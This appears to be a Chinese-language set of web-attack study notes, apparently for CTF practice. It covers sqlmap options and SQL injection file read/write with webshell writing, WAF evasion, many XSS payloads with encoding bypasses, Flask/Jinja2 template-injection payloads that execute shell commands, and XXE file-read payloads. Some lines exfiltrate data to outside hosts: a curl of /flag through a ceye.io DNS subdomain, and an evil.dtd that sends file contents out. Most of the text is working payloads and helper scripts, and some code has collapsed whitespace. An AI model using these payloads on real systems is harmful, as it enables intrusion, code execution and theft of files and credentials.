-v
0:只显示python错误以及重要信息
1:显示信息以及警告(默认)
2:显示debug消息
3:显示注入payload
4:显示http请求
5:显示http响应头·
6:显示http响应内容
–level
–delay
–time-sec
读写文件
原理
- 读- load_file- 关键条件- 有读权限- secure_file_priv- SELinux- 知道绝对路径- 用法- id=1’ union select 1,2,load_file(‘/etc/passwd’)- id=1’ union select 1,2,load_file(0x0000000)- id=1’ union select 1,2,load_file(char(10,20))- id=1’ union select 1,2,hex(load_file(char(10,20)))
- 写- into outfile- 关键条件- 有写权限- secure_file_priv- SELinux- 知道绝对路径- 绕过单引号的过滤- 用法- id=1’ union select 1,2,‘<?php phpinfo();?>’ into outfile ‘/var/www/html/shell.php’- id=1’ union select 1,2,0x00000000 into outfile ‘/var/www/html/shell.php’
参数
- 读- –file-read
- 写- –file-write- –file-dest
进阶参数
- –os-shell- 原理- 利用写文件,先写入一个简单的上传页面,再利用上传页面,上传一个webshell执行命令,从webshell页面获取命令回显
- –os-cmd
waf
原理
- 身份认证- 白名单- 黑名单
- 数据包解析
- 规则匹配
绕waf的方式
- 身份认证层面- 伪造白名单
- 数据包解析层面- 数据包加密- 冰蝎- 自加密
- 规则匹配层面- 利用数据库、中间件、编程语言的种种特性进行绕过
绕waf基础方式
- 大小写- uNioN SeLect
- 替代- UNunionION SELselectECT
- 特殊字符- 代替空格的特殊字符- %0a- %0c- 括号- 花括号
- 编码- url编码- unicode编码
- 注释符号- 普通注释- 内联注释
- 综合方式- 大小写- 特殊字符- 编码- 注释符号
- 参数污染
- 缓冲区溢出
- 分块传输
- 正则绕过:\bselect\b -> /! 50000select/
- 遗漏的注入点
Tamper
- 常用的tamper脚本
- 用法- sqlmap -u “http://www.xxx.com/index.php?id=1” --tamper space2comment.py
- 进阶:自己编写tamper脚本
其他
注意站库分离
base64注入
二次解码注入
插入admin’or’1
宽字节注入
OOB
dns外带注入
SQL注入工具:
jsql-injection
/
总结文章
- sql注入总结 - FreeBuf网络安全行业门户
- sql注入总结复习 - FreeBuf网络安全行业门户
XSS
导图
常用的XSS攻击手段和目的
1.盗用cookie,获取敏感信息。
2.利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3.利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的操作如发微博、加好友、发私信等操作。
4.利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5.在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDOS攻击的效果。
分类
反射型
反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
存储型
持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
DOM型
传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。
无任何过滤情况下
<scirpt>
<scirpt>alert("xss");</script>
<img>
<img src=1 onerror=alert("xss");>
<input>
<input onfocus="alert('xss');">// 竞争焦点,从而触发onblur事件<input onblur=alert("xss") autofocus><input autofocus>// 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发<input onfocus="alert('xss');" autofocus>
<details>
<details ontoggle="alert('xss');">// 使用open属性触发ontoggle事件,无需用户去触发<details open ontoggle="alert('xss');">
<svg>
<svg onload=alert("xss");>
<select>
<select onfocus=alert(1)></select>// 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发<select onfocus=alert(1) autofocus>
<iframe>
<iframe onload=alert("xss");></iframe>
<video>
<video><source onerror="alert(1)">
<audio>
<audio src=x onerror=alert("xss");>
<body>
<body/onload=alert("xss");>
利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发
<body onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<textarea>
<textarea onfocus=alert("xss"); autofocus>
<keygen>
<keygen autofocus onfocus=alert(1)>//仅限火狐
<marquee>
<marquee onstart=alert("xss")></marquee>//Chrome不行,火狐和IE都可以
<isindex>
<isindex type=image src=1 onerror=alert("xss")>//仅限于IE
利用link远程包含js文件(在无CSP的情况下)
<link rel=import href="http://127.0.0.1/1.js">
javascript伪协议
标签
<a href="javascript:alert(`xss`);">xss</a>
标签 javascript
标签
<img src=javascript:alert('xss')>//IE7以下
<form>
标签
<form action="Javascript:alert(1)"><input type=submit>
其它
expression属性
<img style="xss:expression(alert('xss''))">// IE7以下<div style="color:rgb(''�x:expression(alert(1))"></div>//IE7以下<style>#test{x:expression(alert(/XSS/))}</style>// IE7以下
background属性
<table background=javascript:alert(1)></table>//在Opera 10.5和IE6上有效
有过滤的情况下
过滤空格
用
/
代替空格
<img/src="x"/onerror=alert("xss");>
过滤关键字
大小写绕过
<ImG sRc=x onerRor=alert("xss");>
双写关键字
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
<imimgg srsrcc=x onerror=alert("xss");>
字符拼接
利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
利用top
<script>top["al"+"ert"](`xss`);</script>
其它字符混淆
有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了。下面举几个简单的例子:
可利用注释、标签的优先级等
1.<<script>alert("xss");//<</script>
2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
编码绕过
Unicode编码绕过
<img src="x" onerror="alert("xss");"><img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"><iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
八进制
<img src=x onerror=alert('\170\163\163')>
base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"><iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
过滤双引号,单引号
- 如果是HTML标签中,我们可以不用引号。如果是在JavaScript中,我们可以用反引号代替单双引号
<img src="x" onerror=alert(`xss`);>
- 使用编码绕过,具体看上面我列举的例子,我就不多赘述了
过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">
过滤url地址
使用url编码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
使用IP
- 十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>
- 八进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
- hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
- html标签中用
//
可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>
- 使用
\\
在windows下\本身就有特殊用途,是一个path 的写法,所以\在Windows下是file协议,在linux下才会是当前域的协议
- 使用中文逗号代替英文逗号:如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度
SSTI
模板和对应利用方法
基础
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。
此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
dict.get(key, default=None) 返回指定键的值,如果值不在字典中返回default值
dict.setdefault(key, default=None) 和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default
利用和绕过
正常无过滤
使用popen方法:
?name={{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
过滤了.
使用访问字典的形式来获取函数或者类
{{().__class__}}
{{()["__class__"]}}
{{()|attr("__class__")}}
{{getattr('',"__class__")}}
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
过滤_
利用
request.args.<param>
绕:
/?exploit={{request[request.args.pa]}}&pa=**class**
过滤’request[request.’
绕过原理:
request | attr(request.args.a)等价于request["a"]
:
?exploit={{request|attr(request.args.pa)}}&pa=**class**
过滤了单双引号(request绕过)
flask中存在着
request
内置对象可以得到请求的信息,
request
可以用5种不同的方式来请求信息,我们可以利用他来传递参数绕过
request.args.name
request.cookies.name
request.headers.name
request.values.name
request.form.name
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd
过滤关键字
常规拼接
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])
{{()['__cla''ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev''al']("__im""port__('o''s').po""pen('whoami').read()")}}
+拼接
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt').read()
相当于
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt').read()
[::-1]取反绕过
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
用join拼接
{{()|attr(["_"*2,"cla","ss","_"*2]|join)}}
使用str原生函数替代
{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}
ascii转换
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
16进制编码
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
对于python2的话,还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")
unicode编码
{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
lipsum.__globals__['os'].popen('tac /f*').read()
base64编码
().__class__.__bases__[0].__subclasses__()[40]('r','ZmxhZy50eHQ='.decode('base64')).read()
相当于:
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt').read()
利用chr函数
无法直接使用chr函数,需要通过
__builtins__
定位
{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
在jinja2可以使用~进行拼接
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
过滤
__init__
可以用
__enter__
或
__exit__
替代
{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
过滤config的绕过
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context}}
reload方法
del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
del __builtins__.__dict__['eval'] # evaluating code could be dangerous
del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous
过滤了[ ]
数字中的[ ]
Python 3.7.8
>>> ["a","kawhi","c"][1]
'kawhi'
>>> ["a","kawhi","c"].pop(1)
'kawhi'
>>> ["a","kawhi","c"].__getitem__(1)
'kawhi'
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()}
{{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}}
魔术方法中的[ ]
调用魔术方法本来是不用中括号的,但是如果过滤了关键字,要进行拼接的话就不可避免要用到中括号,像这里如果同时过滤了class和中括号
__getattribute__
{{"".__getattribute__("__cla"+"ss__").__base__}}
配合request
{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__
{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami
过滤了{{ }}
使用{%%},并用print进行标记,得到回显
DNS外带 // TODO
过滤了 " ’ arg []
使用pop()或者
__getitem__
绕过
?name={{().__class__.__base__.__subclasses__().pop(185).__init__.__globals__.__builtins__.eval(request.values.arg3).read()}}&arg3=__import__('os').popen('cat /f*')
过滤了 " ’ arg [] _
不能使用
request.values.name
,所以使用
request.cookies.name
,然后使用flask自带的
attr
、
' '|attr('__class__')
等于
' '.__class__
。
lipsum
是一个方法,其调用
__globals__
可以直接使用os执行命令
{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie: a=__globals__;b=cat /f*
过滤了 " ’ arg [] _ os
使用
request.cookies.a
绕过
?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie: a=__globals__;b=os;c=cat /f*
过滤了 " ’ arg [] _ os {{ }}
使用
{%
,因为{%%}是没有回显的,所以使用print来标记使他有回显
?name={%print((lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read())%}
Cookie: a=__globals__;b=os;c=cat /f*
过滤了 " ’ arg [] _ os {{ }} request
拼接字符串
{% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}
lipnum|attr('__globals__').get('os').popen('cat /flag').read()
使用chr
{%set po=dict(po=a,p=a)|join%} #pop
{%set xia=(()|select|string|list).pop(24)%} #_
{%set ini=(xia,xia,dict(init=a)|join,xia,xia)|join%} #__init__
{%set glo=(xia,xia,dict(globals=a)|join,xia,xia)|join%} #__globals__
{%set built=(xia,xia,dict(builtins=a)|join,xia,xia)|join%} # __builtins__
{%set a=(lipsum|attr(glo)).get(built)%}
{%set chr=a.chr%} #chr()
{%print a.eval(chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(108)~chr(115)~chr(39)~chr(41)).read()%}
print lipsum|attr('__globals__').get('__builtins__').eval(__import__('os').popen('ls')).read()
使用下面的脚本来获得ascii码
<?php//使用chr绕过ssti过滤引号$str="__import__('os').popen('ls')";$result='';for($i=0;$i<strlen($str);$i++){$result.='chr('.ord($str[$i]).')~';}echosubstr($result,0,-1);
过滤了 " ’ arg [] _ os {{ }} 数字
使用全角数字替代
# 将半角数字转换为全角绕过ban数字defhalf2full(half):
full =''for ch in half:iford(ch)inrange(33,127):
ch =chr(ord(ch)+0xfee0)eliford(ch)==32:
ch =chr(0x3000)else:pass
full += ch
return full
t=''while1:
s =input("输入想要的数字")for i in s:
t+=half2full(i)print(t)
使用length获取数字
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
过滤了 " ’ arg [] _ os {{ }} 数字 print
使用dns外带(ceye.io),还是使用上面的原理,使用全角数字和chr进行命令执行,获得chr
<?php//使用chr绕过ssti过滤引号$str="__import__('os').popen('curl http://`cat /flag`.uki4y9.ceye.io')";$result='';for($i=0;$i<strlen($str);$i++){$result.='chr('.ord($str[$i]).')~';}echosubstr($result,0,-1);
普通数字变全角脚本
#正则匹配出字符串中的数字,然后返回全角数字import re
str="""chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~chr(47)~chr(47)~chr(96)~chr(99)~chr(97)~chr(116)~chr(32)~chr(47)~chr(102)~chr(108)~chr(97)~chr(103)~chr(96)~chr(46)~chr(117)~chr(107)~chr(105)~chr(52)~chr(121)~chr(57)~chr(46)~chr(99)~chr(101)~chr(121)~chr(101)~chr(46)~chr(105)~chr(111)~chr(39)~chr(41)
"""
result=""defhalf2full(half):
full =''for ch in half:iford(ch)inrange(33,127):
ch =chr(ord(ch)+0xfee0)eliford(ch)==32:
ch =chr(0x3000)else:pass
full += ch
return full
for i in re.findall('\d{2,3}',str):
result+="chr("+half2full(i)+")~"print(i)print(result[:-1])
payload
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}{% set cmd=(chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~chr(47)~chr(47)~chr(96)~chr(99)~chr(97)~chr(116)~chr(32)~chr(47)~chr(102)~chr(108)~chr(97)~chr(103)~chr(96)~chr(46)~chr(117)~chr(107)~chr(105)~chr(52)~chr(121)~chr(57)~chr(46)~chr(99)~chr(101)~chr(121)~chr(101)~chr(46)~chr(105)~chr(111)~chr(39)~chr(41)
)%}{%if x.eval(cmd)%}aaa{%endif%}
q.__init__.__globals__.__getitem__('__builtins__').eval("__import__('os').popen('curl http://`cat /flag`.uki4y9.ceye.io')")
其他
获取chr函数
"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr (x为任意值)
获取字符串
request.args.x1 get传参
request.values.x1 get、post传参
request.cookies
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
特殊读文件
{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
#利用self姿势
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}
脚本
找存在__builtins__的子类
search='__builtins__'
num=-1for i in''.__class__.__bases__[0].__subclasses__():
num+=1try:if search in i.__init__.__globals__.keys():print(i,num)except:pass
定位下标
import json
# 所有获得的子类
classes="""
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>,...........
"""
num=0
alllist=[]
result=""for i in classes:if i==">":
result+=i
alllist.append(result)
result=""elif i=="\n"or i==",":continueelse:
result+=i
#寻找要找的类,并返回其索引for k,v inenumerate(alllist):if"warnings.catch_warnings"in v:print(str(k)+"--->"+v)
使用request定位下标
import requests
import time
import html
for i inrange(0,300):
time.sleep(0.06)
payload ="{{().__class__.__mro__[-1].__subclasses__()[%s]}}"% i
url ='http://127.0.0.1:5000?name='
r = requests.post(url+payload)if"catch_warnings"in r.text:print(r.text)print(i)break
XXE
基础
XML
<!--XML声明--><?xml version="1.0" encoding="UTF-8"?><!--DTD,这部分可选的--><!DOCTYPEfoo[<!ELEMENTfooANY>
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]><!--文档元素--><foo>&yj;</foo>
DTD
DTD即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。DTD一般认为有两种引用或声明方式:内部内嵌在XML文件中,外部的独立出为.dtd文件
DTD实体有以下几种声明方式
内部实体
<!DOCTYPEnote[<!ENTITYa"admin">]><note>&a</note><!-- admin -->
参数实体
<!-- 参数实体用`% name`申明,引用时用`%name;`,只能在DTD中申明,DTD中引用。其余实体直接用`name`申明,引用时用`&name;`,只能在DTD中申明,可在xml文档中引用 --><!DOCTYPEnote> [
<!ENTITY%b"<!ENTITYb1"yyds">">
%b;
]>
<note>&b1</note><!-- yyds -->
外部实体
<!DOCTYPEnote> [
<!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<note>&c</note><!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有
外部参数实体
<!DOCTYPEnote> [
<!ENTITY % d SYSTEM "http://47.47.47.47/xml.dtd">
或 <!ENTITY d1 SYSTEM "data://text/plain;base64,Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA==">
%d;
]>
<note>&d1</note><!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->
XXE
任意文件读取
有回显
恶意引入外部实体
直接读靶机文件
<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPEfoo[
<!ENTITY rabbit SYSTEM "file:///flag" >
]><user><username>&rabbit;</username><password>123</password></user>
恶意引入外部参数实体
<?xml version="1.0" ?><!DOCTYPEtest[
<!ENTITY % file SYSTEM "http://vps-ip/hack.dtd">
%file;
]><test>&hhh;</test>
或
<!ENTITY hhh SYSTEM 'file:///etc/passwd'>
无回显
OOB
先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
<!DOCTYPEupdateProfile[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>
evil.dtd的内容,内部的%号要进行实体编码成%。
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;
访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。
基于报错
以下内容皆出自JrXnm师傅博客
Blind XXE 详解 + Google CTF 一道题目分析
基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
所以和OOB的构造方式几乎只有url处不同,其他地方一模一样。
通过引入服务器文件
<?xml version="1.0"?><!DOCTYPEmessage[
<!ENTITY % remote SYSTEM "http://blog.szfszf.top/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]><message>1234</message>
xml.dtd
<!-- xml.dtd -->
<!ENTITY % start "<!ENTITY % send SYSTEM 'file:///hhhhhhh/%file;'>">
%start;
通过引入本地文件
如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd呢?由于XML的广泛使用,其实在各个系统中已经存在了部分DTD文件。按照上面的理论,我们只要是从外部引入DTD文件,并在其中定义一些实体内容就行。
<?xml version="1.0"?><!DOCTYPE message [<!ENTITY% remote SYSTEM"/usr/share/yelp/dtd/docbookx.dtd"><!ENTITY% file SYSTEM"php://filter/read=convert.base64-encode/resource=file:///flag"><!ENTITY% ISOamso '
<!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'file://hhhhhhhh/?%file;'>">
%eval;
%send;
'>%remote;]><message>1234</message>
我们仔细看一下很好理解,第一个调用的参数实体是%remote,在/usr/share/yelp/dtd/docbookx.dtd文件中调用了%ISOamso;,在ISOamso定义的实体中相继调用了eval、和send
